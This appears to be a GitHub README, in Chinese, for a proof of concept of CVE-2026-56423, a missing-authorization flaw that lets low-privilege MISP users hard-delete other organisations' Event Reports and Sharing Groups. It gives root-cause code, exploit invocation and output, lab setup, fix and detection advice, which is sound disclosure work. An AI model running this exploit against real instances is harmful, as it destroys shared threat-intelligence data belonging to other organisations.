BiiTts/CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl
GitHub: BiiTts/CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl
针对 MISP deleteSelection 越权删除漏洞(CVE-2026-56423,CVSS 8.8)的概念验证工具,含利用脚本、实验室环境和修复对照。
Stars: 0 | Forks: 0
# CVE-2026-56423 — MISP `deleteSelection` 越权访问漏洞
针对 MISP 批量删除流程中缺失授权缺陷的概念验证。
此缺陷存在于 **Event Reports** 和 **Sharing Groups** 中。`deleteSelection` 处理程序使用一个回调函数对每个选定的项目进行授权,但该回调函数忽略了项目本身,返回的是调用者的**全局角色权限**(`perm_add` / `perm_sharing_group`),而不是进行基于对象的所有权检查。因此,低权限的 **contributor**(默认的 "User" 角色)可以提交属于**任何组织**的报告 ID/UUID,并在全实例范围内对其进行硬删除,尽管受严格保护的单个对象 `delete` 操作会拒绝完全相同的请求。
| | |
|---|---|
| **CVE** | CVE-2026-56423 |
| **产品** | MISP (Malware Information Sharing Platform) core |
| **受影响版本** | MISP CE/EE ≤ 2.5.41 |
| **修复版本** | 2.5.42 |
| **分类** | CWE-862 — 缺失授权(对象级别的访问控制失效) |
| **CVSS 3.1** | 8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) |
| **认证** | 已认证,低权限(任何具有 `perm_add` 的角色,例如 "User") |
| **发布日期** | 2026-06-22 |
| **状态** | **已确认** — contributor 在 2.5.40 版本上删除了其他组织的报告;在 2.5.42 版本上被拒绝 |
## 根本原因
`app/Controller/EventReportsController.php` (标签 v2.5.40):
```
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId → global role bool
},
]);
}
```
`CRUDComponent::deleteSelection` 会对每个选定的 ID 调用此 `checkModifyCallback`,并在其返回 true 时删除该对象:
```
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
```
因为该回调函数返回的是 `$this->userRole['perm_add']` —— 一个**对于默认的 "User" 角色为 true** 的全局布尔值 —— 所以目标报告的所有权从未被检查过。相比之下,针对单个对象的 `delete($id)` 操作正确调用了 `EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete')` 并会拒绝外部报告。
`SharingGroupsController::deleteSelection` 也存在使用 `perm_sharing_group` 的相同缺陷。
2.5.42 中的修复(提交 `ada02fa`, `f99b3f1`)将该回调替换为了基于单项的 `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`。
请参阅 [`ANALYSIS.md`](ANALYSIS.md) 获取完整的分析过程。
## 前置条件(如实记录)
1. 攻击者拥有任何角色具有 `perm_add` 权限的账号 —— 即内置的 **User** 角色,该角色在多组织实例中授予给普通的 contributor。
2. `MISP.enable_themes = true`。`deleteSelection` 操作在 ACL 中受 `AND(theming_enabled, perm_add)` 限制,其中 `theming_enabled` 映射到 `MISP.enable_themes` 设置。此设置**默认关闭**,但它是一个正常的 UI 功能标志,在许多实例中都会启用(它为 v2 索引/列表 UI 提供支持)。如果禁用此设置,该操作会在有缺陷的回调运行之前返回 HTTP 403。
## 漏洞利用
```
python3 exploit.py https://127.0.0.1:443 \
--attacker-key \
--admin-key \
--report-id
```
```
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
```
## 复现步骤
```
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# 修补后的 build 拒绝相同的 request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
```
## 漏洞/修复边界(根据实际测试)
| 请求(低权限 contributor,外部报告) | v2.5.40 | v2.5.42 |
|---|---|---|
| 受正确保护的 `delete/{id}` | 404 拒绝 | 404 拒绝 |
| **对同一报告的 `deleteSelection`** | **200 — 已硬删除** | **403 — "Could not delete";报告完好无损** |
相同的请求在修复前后从成功变为拒绝,而受正确保护的基于对象的删除操作在两者中均被拒绝 —— 这证明该漏洞在于 `deleteSelection` 中缺失了基于对象的授权,而不是配置错误的账号。
完整记录见 [`EVIDENCE.txt`](EVIDENCE.txt)。
## 影响
共享 MISP 实例上的任何低权限用户都可以不可逆地硬删除 Event Reports(附加在威胁情报事件上的分析师叙述)以及属于**其他组织**的 Sharing Groups,且影响范围为整个实例。这是对 CERT、ISAC 和 SOC 所依赖的威胁情报平台的一种跨租户完整性/可用性破坏。
## 修复方案
- 将 MISP 升级到 **2.5.42** 或更高版本。
- 该修复对每个选定的项目强制执行 `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`;同样的模式也应用于 Sharing Groups。
## 检测
审计 MISP 日志中的 `EventReports/deleteSelection`(以及 `SharingGroups/deleteSelection`)请求,查看操作用户的组织是否与被删除对象所属的组织不同。
## 鸣谢
研究与 PoC 由 Caio Fabrício ([@BiiTts](https://github.com/BiiTts)) 完成。
## 许可证
MIT — 详见 [LICENSE](LICENSE)。
标签:Maven, PoC, Web安全, 应用安全, 暴力破解, 漏洞验证, 蓝队分析, 请求拦截, 越权漏洞, 逆向工具